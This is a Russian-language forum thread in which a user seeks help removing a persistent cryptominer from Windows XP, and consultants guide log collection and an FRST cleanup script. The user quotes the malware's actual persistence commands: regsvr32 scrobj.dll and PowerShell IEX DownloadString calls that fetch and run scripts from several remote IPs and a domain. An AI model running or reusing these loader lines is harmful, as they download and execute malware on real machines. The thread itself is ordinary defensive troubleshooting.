@zxzx777

Здравствуйте. Антивирус в системе не стоит, т.к. слабенькая.
На винчестере три раздела и два Windows - XP и Vista. В основном работаю на С: под ХР.
Поймал вирус (предположительно майнер) еще летом 2021 года. Прошло уже больше 3-х месяцев.
Грузит систему периодически до 100%.
Часть вируса удалил в начале осени, но вижу, что не всё. Удалил (возможно не всё перечислил):
[1].txt
a.bat
conhoy.exe
CONHOY.EXE-1EC51B50.pf11
shell.rar
c:\WINDOWS\Debug\item.dat
c:\WINDOWS\inf\aspnet\lsma12.exe
c:\System Volume Information\_restore{6B76C70F-5D28-4A66-9153-CE979AEAF7D5}\RP129\A0091495.INI 62байта
??? c:\WINDOWS\system32\n1.dat

Служба apzZ
C:\WINDOWS\system32\regsvr32.exe
apzZ 12% apzZ Auto on startup Сервер регистрации, (C) Microsoft Корпорация Майкрософт cmd /c regsvr32 /s /u /n /i:http://185.47.128.124:8124/m17010.txt scrobj.dll 2021-08-29 14:07 own process

Trojan.BitCoinMiner.TskLnk, C:\WINDOWS\inf\aspnet\lsma12.exe


В процессе работы над отчетом блокировался доступ к вэб-сайтам антивирусов.
Периодически в текстовых окнах само печатало длинный текст testtest......testtest.txt и также другой текст.
Также зависала система и испортился Malwarebytes.

По теме загрузки отчета есть несколько замечаний. При попытке запустить AutoLogger (скачанный по ссылке из Правил оформления) пишет "Пожалуйста, скачайте свежую версию автосборщика логов". В файле Date.ini из папки AutoLogger\AV поменял вручную дату на более близкую - только тогда AutoLogger запустился. Думаю, нужно в выложенном для скачивания архиве периодически менять дату в файле Date.ini на более актуальную.
И ещё. Базы обновить невозможно, так как пункт обновления в меню Файл не активен.

Буду благодарен за помощь.

Вложения

CollectionLog-2022.01.07-14.36.zip (83.7 Кб, 17 просмотров)

0

@thyrex

на время сбора логов не нужно просто заниматься и другими делами параллельно на компьютере. Это всего лишь проверка на кейлоггеры.

Скачайте Farbar Recovery Scan Tool (или с зеркала) и сохраните на Рабочем столе.

• Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
2. Убедитесь, что в окне Optional Scan (Дополнительные опции) отмечены List BCD и 90 Days Files.
3. Нажмите кнопку Scan (Сканировать).
4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа.
5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt).
6. Файлы FRST.txt и Addition.txt заархивируйте (в один общий архив) и прикрепите к сообщению.

0

@zxzx777

Проблемы с печатаньем текста заметил до сбора логов.
Ещё вопрос - у меня почему то две учетные записи Administrator. Я вроде вторую не создавал. Всегда работал под Isvaripati. Может это относится к вирусу? Можна Admin удалить?

Вложения

2022-01-07FRSTlog.ZIP (17.0 Кб, 11 просмотров)

0

@thyrex

Да что Вы говорите. Уж я-то знаю хорошо поведение AVZ при сборе логов.

Ничего необычного в системе, кроме мусора. Да и система вряд ли лицензионная.

Возможно это встроенный Администратор. Просто отключите.

1. Выделите следующий код и скопируйте в буфер обмена (правая кнопка мыши – Копировать)
2. Запустите Farbar Recovery Scan Tool от имени Алминистратора по правой кнопке мыши.
3. Нажмите один раз на кнопку Fix (Исправить) и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.

• Обратите внимание: будет выполнена перезагрузка компьютера.

0

@zxzx777

"Ничего необычного в системе" не видно, но компьютер нагружается.
svchost.exe занимает необычно много памяти в процессах.
В файл hosts сама добавляется строка с блокировкой сайта Malwarebytes (возможно в момент начала работы программы)
И удаленные строки из C:\WINDOWS\system32\wbem\Repository\FS\OBJECTS.DATA на следующий день снова на месте:
md /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wmi.0810bye.ru:8080/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://172.83.155.170:8170/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://192.236.160.237:8237/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://144.208.127.215:8215/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://103.106.250.161:8161/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://155.94.235.39:8039/power.txt')||regsvr32 /u /s /i:http://144.208.127.215:8215/s.txt scrobj.dll&regsvr32 /u /s /i:http://103.106.250.161:8161/s.txt scrobj.dll&regsvr32 /u /s /i:http://172.83.155.170:8170/s.txt scrobj.dll&regsvr32 /u /s /i:http://192.236.160.237:8237/s.txt scrobj.dll&regsvr32 /u /s /i:http://155.94.235.39:8039/s.txt scrobj.dll&regsvr32 /u /s /i:http://wmi.0810bye.ru:8080/s.txt scrobj.dll&wmic os get /FORMAT:"http://172.83.155.170:8170/s.xsl"

Миниатюры

 

Вложения

2022-01-08 Fixlog.txt (3.6 Кб, 5 просмотров)

0

@thyrex

И сейчас на месте? Если так, то не занимайтесь самолечением и сделайте новые логи Autologger

0

@zxzx777

Эти логи актуальные (строки присутствуют в файле OBJECTS.DATA).
Удалял позавчера вечером, а вчера утром они уже были снова в файле.
Такое впечатление, что что то вмешивается в работу антивирусных (сборщиков логов) программ. Когда запускал AVZ позавчера, он показывал больше угроз. Я как раз вникал в проблемму, практически ничего не удалял. Только явные строки из OBJECTS.DATA. Я теперь и AVZ и Malwarebytes ничего не находят практически.

Вопрос. Скачал ряд программ из вашего раздела "Инструментарий консультанта", проверяю на VirusTotal и везде показывает несколько вирусов в файлах. Как так может быть?

Добавлено через 3 минуты
https://www.virustotal.com/gui... ?nocache=1
Ссылка для примера.

0

@thyrex

Нет в наших инструментах вирусов

Файл hosts по прежнему изменен?

0

@zxzx777

Я строчку в hosts несколько раз удалял вручную, но она спонтанно появляется.

0

@thyrex

Я спрашивал о ее наличии в настоящий момент

0

@zxzx777

Даже не знаю, как ответить. Она может появиться через несколько минут после удаления. Сейчас, на момент выключения компа не было.

0

@Sandor

Подготовьте лог uVS.

0

@zxzx777

Сделал

Вложения

REDMI3S_2022-01-09_18-08-14_v4.12ПолныйАвтозапускаAcer.7z (295.1 Кб, 9 просмотров)

0

@Sandor

1. Скачайте архив TDSSKiller.zip и распакуйте его в отдельную папку;
2. Запустите файл TDSSKiller.exe.
3. Нажмите кнопку "Начать проверку". Не меняйте настройки сканирования по умолчанию.
4. В процессе проверки могут быть обнаружены объекты двух типов:
   • вредоносные (точно было установлено, какой вредоносной программой поражен объект);
   • подозрительные (тип вредоносного воздействия точно установить невозможно).
5. По окончании проверки утилита выводит список обнаруженных объектов с их подробным описанием.
6. Для вредоносных объектов утилита автоматически определяет действие: Лечить или Удалить.
7. Для подозрительных объектов утилита предоставляет выбор действия пользователю (по умолчанию Пропустить).
8. Самостоятельно без указания консультанта ничего не удаляйте!!!
9. После нажатия кнопки Продолжить утилита выполняет выбранные действия и выводит результат.
10. Прикрепите лог утилиты к своему следующему сообщению.

По умолчанию утилита выводит отчет работы в корень системного диска (диска, на котором установлена операционная система, как правило, это диск С:\).
Имя отчета имеет следующий вид: ИмяУтилиты.Версия_Дата_Время_log.txt
Например, C:\TDSSKiller.3.1.0.28_11.10.2020_15.52.14_log.txt

0

@zxzx777

На всякий случай сделал 2 лога:
1. Без изменения настроек.
2. С галочкой на "Проверять цифровые сертификаты".

Вложения

	01.zip (28.3 Кб, 8 просмотров)
	02.zip (55.8 Кб, 8 просмотров)

0

@Sandor

Удалите старые и соберите новые логи FRST.txt и Addition.txt

0

@zxzx777

Еще раз отмечу, что поймал вирус еще летом 2021 года. Прошло уже больше 3-х месяцев.

Вложения

2022-01-10FRSTlog.zip (20.1 Кб, 8 просмотров)

0

@Sandor

Примите к сведению - после выполнения скрипта (возможно) все открытые вкладки браузеров будут закрыты, произойдет выход из аккаунтов, временные файлы, корзина, история браузеров, куки и кэш будут очищены.

• Отключите до перезагрузки антивирус.
• Выделите следующий код:
  
  Код

  Start::
  SystemRestore: On
  CreateRestorePoint:
  CloseProcesses:
  Policies: C:\Documents and Settings\All Users\NTUSER.pol: Restriction <==== ATTENTION
  Policies: C:\Documents and Settings\Isvaripati\NTUSER.pol: Restriction <==== ATTENTION
  Policies: C:\Documents and Settings\Admin\NTUSER.pol: Restriction <==== ATTENTION
  WMI:subscription\__FilterToConsumerBinding->\\.\root\subscription:MSFT_UCScenarioControl.Name=\"Microsoft WMI Updating Consumer Scenario Control\"",Filter="\\.\root\subscription:__EventFilter.Name=\"Microsoft WMI Updating Consumer Scenario Control\"::
  WMI:subscription\__EventFilter->Microsoft WMI Updating Consumer Scenario Control::[Query => SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'MSFT_UCScenario']
  HKLM\...\batfile\DefaultIcon: %SystemRoot%\System32\shell32.dll,-153 <==== ATTENTION
  Hosts:
  EmptyTemp:
  Reboot:
  End::

• Скопируйте выделенный текст (правой кнопкой - Копировать).
• Запустите FRST (FRST64) от имени администратора.
• Нажмите Исправить (Fix) один раз (!) и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.

Компьютер будет перезагружен автоматически.


Деинсталлируйте больше не поддерживаемый:
и устаревшую со множеством уязвимостей

0

@zxzx777

Весело, после первого отчета файл FRST.exe оказался у себя в карантине. Воспользовался копией.
После скрипта комп сам не перегрузился. Перегрузил вручную.
После перезагрузки все также гудит.

Вложения

2022-01-10_15-12-26 Fixlog.txt (2.6 Кб, 5 просмотров)

0

@zxzx777

Деинсталлировать можно без потери функциональности? Или Flash и Java уже вообще не актуальны? Удалять через Удаление программ или скачивать спецутилиты для полной деинсталяции?

0